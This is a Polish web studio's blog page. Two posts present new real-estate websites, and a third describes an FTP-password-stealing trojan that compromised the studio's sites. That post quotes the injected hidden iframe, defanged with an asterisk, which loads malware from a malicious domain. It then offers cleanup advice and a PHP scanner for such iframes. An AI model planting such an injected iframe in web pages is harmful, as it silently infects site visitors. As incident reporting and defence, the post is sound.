Luksusowe ceny

Strona główna agencji nieruchomości Savills-Residential Polska, oferującej luksusowe apartamenty i rezydencje.

Strona główna agencji nieruchomości Savills-Residential Polska, oferującej luksusowe apartamenty i rezydencje.

Ceny ofert na tej stronie sięgają 90 mln zł, a tytuł uzasadnia ten poziom: Luksusowe Apartementy i Rezydencje. Kilka dni temu uruchomiliśmy nową, opartą głównie na HTMLu stronę Savills Residential. Stara, flashowa wersja działa nadal pod adresem http://savills2.savills-residential.pl, bo zastosowany tam sposób nawigacji i prezentacji ofert nadal wydaje się nam ciekawy, a trudno go pokazać na statycznych obrazkach. Nowa strona powstawała głównie z myślą o pozycjonowaniu i jakości kodu. Sam HTML waży 11 do 21 kB, dla porównania:
http://www.emerson.pl – 133 kB
http://www.strzelczyk.pl/ 38 kB
http://www.knightfrank.com.pl/ 4 kB (!)
http://www.gratka.pl/ 12 kB

Jeszcze niedawno dość normalne były strony powyżej 200 kB kodu. Mimo coraz szybszych łączy jakość i zwięzłość kodu poprawia się. Myślę, że w dużym stopniu jest to wymuszone SEO i kosztami transferu.

Oprócz ofert jak dotąd, pojawiły się też opisy działań reklamowych Savills i przykładowe realizacje. Tak się miło złożyło, że sporo z tych obrazków to nasze projekty. Oczywiście nie odeszliśmy od Flasha całkowicie, nadal prezentacje zdjęć i formularz kontaktowy to mini aplikacje w SWF. Po stronie serwera framework oparty na AMF. Do administracji ofertami służy CMS napisany we Fleksie. Obsługuje upload plików, przypisywanie ich do ofert, edycję opisów w dwóch językach, kategorie i lokalizacje ofert.

Domy w Sosnowej Dolinie mają nową stronę

Po dłuuugim okresie pracy, udało się uruchomić stronę podwarszawskiego osiedla domów firmy AIG/Lincoln Polska. To już nasza czwarta internetowa realizacja dla tej firmy. Strona to kontynuacja residential.pl, witryny zbierającej prezentacje mieszkaniowej działalności dewelopera O ile residential.pl jest właściwie czysto flashową prezentacją odnośników do konkretnych treści na innych stronach, to sosnowadolina.pl już te treści zawiera. Kłopot polegał na sensownym utrzymaniu animowanego nagłówka z menu i obrazkami, czyli spójności “user experience” ;) z jednoczesnym przechodzeniem między stronami. Najeżdżanie kursorem na fotkę powoduje rozuwanie harmonijki zdjęć, klikanie na opcje menu i obrazki czasem przenosi na inną stronę, czasem wyświetla podmenu. Konsultując rozwiązania z Klientem, w końcu jakoś to opanowaliśmy. Zdecydowaliśmy się zaakceptować jedną z wad Ajaksa, związaną z niedziałającym przyciskiem wstecz. Wiem, że są sposoby i na to, ale moim zdaniem zbyt skomplikowane jak na tę prostą strukturę. Za to działają deep-linki, czyli bezpośrednie odnośniki do treści.

Aha, niniejszym bardzo dziękujemy Katarzynie, obu Magdalenom i Adminowi za miłą współpracę, zaangażowanie i… pochwały. Panu Tomaszowi z firmy hostingowej Onyx również, za szybkie działanie i fachową pomoc.

Strona ogólna projektów mieszkaniowych firmy AIG/Lincoln Polska.

Strona ogólna projektów mieszkaniowych firmy AIG/Lincoln Polska.

Nowa strona — domy wolnostojące na sprzedaż niedaleko Magdalenki pod Warszawą, AIG/Lincoln Polska.

Nowa strona — domy wolnostojące na sprzedaż niedaleko Magdalenki pod Warszawą, AIG/Lincoln Polska.

iframe hack, czyli włamanie na FTP

Amerykańska armia testuje automatycznych żołnierzy, mając wciąż skrupuły co do bezpieczeństwa i moralności użycia takiej broni. W Internecie sztuczne wojsko działa już dawno. Trojan, po zainfekowaniu komputera, wykrada hasła do kont FTP z popularnych programów, takich jak Total Commander, czy Filezilla. Następnie wysyła je gdzieś na serwer bandycki, a stamtąd uruchamiane jest włamanie i edycja plików. Polega ona na dość prostym doklejeniu kodu do stron na FTP, który w niezauważalny dla użytkownika sposób ściąga z innej złoczynnej witryny szkodliwe oprogramowanie.

Również niniejsza strona i nasza główna — ntxt.net, zostały, jak mówią Amerykanie, skompromitowane. Piątego kwietnia we wszystkich plikach PHP i HTML o nazwach zaczynających się na ‘index’ pojawił się taki kawałek (dodałem gwiazdkę przed http):

<iframe src="*http://lotante.cn/in.cgi?income38"
width=1 height=1 style="visibility: hidden"></iframe>

Konkretny adres bywa różny, lista podejrzanych domen jest spora. Ten akurat podobno (bo nie sprawdzałem!) sprawdza obecność pluginu Flash luub Acrobat Readera, po czym ściąga spreparowany plik PDF albo SWF. Moim zdaniem warto mieć wyłączony domyślnie JavaScript, (w Firefoksie np. rozszerzeniem NoScript). Infekcja może spowodować że Google będzie sygnalizować zagrożenie przy wchodzeniu na stronę (jeśli ktoś to zgłosi, oczywiście). Oprócz pozbycia się robactwa z komputera, należy koniecznie zmienić hasło do FTP, unikając zapamiętywania go przez program. Total Commander w najnowszej wersji (7.5 beta) ma już ochronę haseł szyfrowaniem i hasłem głównym.

Trzeba też odnaleźć wszystkie zmiany poczynione przez bota na FTP, a to żmudne zajęcie. Odrobinę może pomóc taki skrypt w PHP, przeczesujący pliki zawierające ‘index’ w nazwie i sygnalizujący wystąpienia taga <iframe>. Aby z neigo skorzystać, trzeba zapisać go np. pod nazwą znajdziframe.php w katalogu ze stroną, ustawiając wcześniej zmienną $root na odpowiednią dla swojego serwera. Potem, z przeglądarki, wywołujemy go wpisując adres: http://mojserwer/znajdziframe.php?depth=10 i czekamy na listę podejrzanych (bo nie każdy iframe jest zły!). Parametr depth określa głębokość, na jaką w podkatalogi zagłębi się sprawdzacz licząc od katalogu głównego.

< ?
// katalog główny strony
$root = '/public_html';
 
// głębokość sprawdzania w podkatalogach
$depth = empty($_GET['depth']) ? 5 : $_GET['depth'];
 
// uruchomienie
digdir($root, $depth);
 
// rekurencyjna funkcja sprawdzająca
function digdir($dir, $level){
	if($level <= 0) return false;
	$handle = opendir($dir);
		while($plik = readdir($handle)){
			$path = "$dir/$plik";
			if(substr($plik, 0, 1)!="."){
				//$data = date("Y-m-d", filemtime($path));
				//$prawa = decoct(fileperms($path));
 
				if(!is_dir($path)){
					//$rozmiar = filesize($path);
					if(preg_match('/index/', $plik)){
						$contents = file_get_contents($path);
						if(preg_match('/iframe/', $contents)) echo "znaleziono iframe w $path<br/>";
					}
				} else {
					digdir($path, $level - 1);
				}			
			}
		}
	closedir($handle);	
}
 
?>

« Previous PageNext Page »